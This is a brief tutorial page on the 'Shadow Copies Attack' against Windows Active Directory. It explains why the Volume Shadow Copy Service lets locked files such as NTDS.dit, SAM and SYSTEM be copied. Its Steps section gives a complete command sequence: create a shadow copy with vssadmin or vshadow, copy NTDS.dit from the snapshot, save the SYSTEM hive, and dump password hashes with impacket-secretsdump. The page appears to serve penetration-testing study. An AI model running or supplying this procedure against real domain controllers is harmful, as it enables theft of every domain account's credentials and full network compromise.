# Shadow Copies Attack

### Overview

**Volume Shadow Copy Service (VSS)** is a Windows feature that creates point-in-time snapshots of files and volumes.

It is designed for Backups and Recovery.

In Active Directory environments, attackers abuse Shadow Copies to:

* Copy locked system files
* Extract credential databases
* Dump NTDS.dit from a Domain Controller
* Retrieve SAM & SYSTEM registry hives

### Why this Works

Certain critical files are locked by Windows while the system is running:

* `C:\Windows\NTDS\NTDS.dit` (Active Directory database)
* `C:\Windows\System32\config\SAM`
* `C:\Windows\System32\config\SYSTEM`

Normally:

You cannot copy these files because they are in use.

But VSS:

* Creates a snapshot of the volume
* Allows read-only access to the snapshot
* Bypasses file lock restrictions

### Prerequisites

1. Local Administrator privileges on DC

### Steps

1. Create a shadow copy:

   ```bash
   # Use any of the below commands
   vshadow.exe -nw -p  C:
   vssadmin create shadow /for=C:
   ```
2. Copy NTDS.dit from the shadow copy:

   ```bash
   copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Temp\ntds.dit
   ```
3. Copy the system hive:

   ```bash
   reg save HKLM\SYSTEM C:\Temp\SYSTEM
   ```
4. Extract hashes:

   ```bash
   impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
   ```


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